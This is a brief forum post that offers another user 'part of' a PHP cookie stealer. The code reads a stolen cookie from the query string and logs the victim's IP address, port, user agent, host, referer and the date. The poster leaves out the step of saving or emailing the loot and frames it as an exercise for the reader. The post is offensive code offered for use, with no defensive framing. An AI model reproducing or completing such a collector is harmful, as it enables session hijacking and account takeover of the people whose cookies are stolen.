joker669 here is PART of what you need to create a cookie stealer.
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_globals');
$ip = getenv('REMOTE_ADDR');
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
How to actually write it to a file or email it to yourself I leave as an exercise for you. Can't just give everything away now can I?
I would suggest reading up on global variables in PHP.